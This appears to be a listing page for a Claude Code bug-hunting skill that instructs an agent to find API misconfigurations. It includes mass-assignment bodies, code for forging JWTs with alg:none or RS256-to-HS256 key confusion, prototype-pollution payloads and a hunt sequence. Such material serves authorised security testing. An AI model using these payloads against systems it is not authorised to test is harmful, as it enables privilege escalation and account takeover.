Hunt API Misconfig
Hunt API security misconfiguration, mass assignment, prototype pollution, HTTP verb...
Install
npx skills add elementalsouls/Claude-BugHunter --skill hunt-api-misconfig -g -a claude-code -y- Repository
- elementalsouls/Claude-BugHunter5.4k
- Category
- Security
- Updated
- 3d ago
- License
- MIT
- Context cost
- Mediumabout 3,000 tokens
- Runs scripts
- No, instructions only
What it does
Hunt API security misconfiguration, mass assignment, prototype pollution, HTTP verb tampering. Mass assignment: send {is_admin:true, role:admin, verified:true} on profile/account/reset endpoints, server blindly applies. JWT signature/crypto forging (alg:none, key confusion, kid/jku) is owned by hunt-jwt-crypto; this skill covers only non-crypto JWT handling. Prototype pollution: __proto__ injection in JSON merge / Object.assign / lodash _.merge → polluted prototype reaches sink (RCE in Node, XSS in browser). HTTP verb: GET-bypass-CSRF, X-HTTP-Method-Override, TRACE enabled. Detection: API responses with extra fields, JWTs in headers (decode at jwt.io). CORS misconfiguration (reflect-any-origin, null origin, subdomain-regex bypass, postMessage) is owned by hunt-cors. Use when hunting API misconfigs, mass-assignment, prototype pollution (JWT crypto → hunt-jwt-crypto).
12. API SECURITY MISCONFIGURATION
Mass Assignment
User.update(req.body) // body has {"role": "admin"} → privilege escalation
JWT None Algorithm
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": 1, "role": "admin"}
token = base64(header) + "." + base64(payload) + "." # no signature
JWT RS256 → HS256 Algorithm Confusion
# Get server's public key from /.well-known/jwks.json
# Sign token with public key as HMAC secret
token = jwt.encode({"sub": "admin", "role": "admin"}, pub_key, algorithm="HS256")
# Server uses RS256 key as HS256 secret → accepts it
Prototype Pollution
// Server-side, Node.js merge without protection
{"__proto__": {"admin": true}}
{"constructor": {"prototype": {"admin": true}}}
// URL: ?__proto__[isAdmin]=true&__proto__[role]=superadmin
For server-side prototype pollution, hunt for an object merge primitive first, then a sink. Favor
JSON/object update endpoints such as profile, address, preferences, settings, cart, admin job, import,
or webhook configuration. Do not stop at a 200 response to __proto__; prove that polluted prototype
state reaches a later operation.
Hunt sequence:
- Find an object-update endpoint. Prefer endpoints that accept many named fields or JSON objects. Try both JSON and form encodings when the app accepts forms. Include CSRF/session fields when needed.
- Pollute harmless marker properties. Send variants such as:
{"__proto__":{"polluted":"pp-1337"}}
{"constructor":{"prototype":{"polluted":"pp-1337"}}}
__proto__[polluted]=pp-1337
constructor[prototype][polluted]=pp-1337
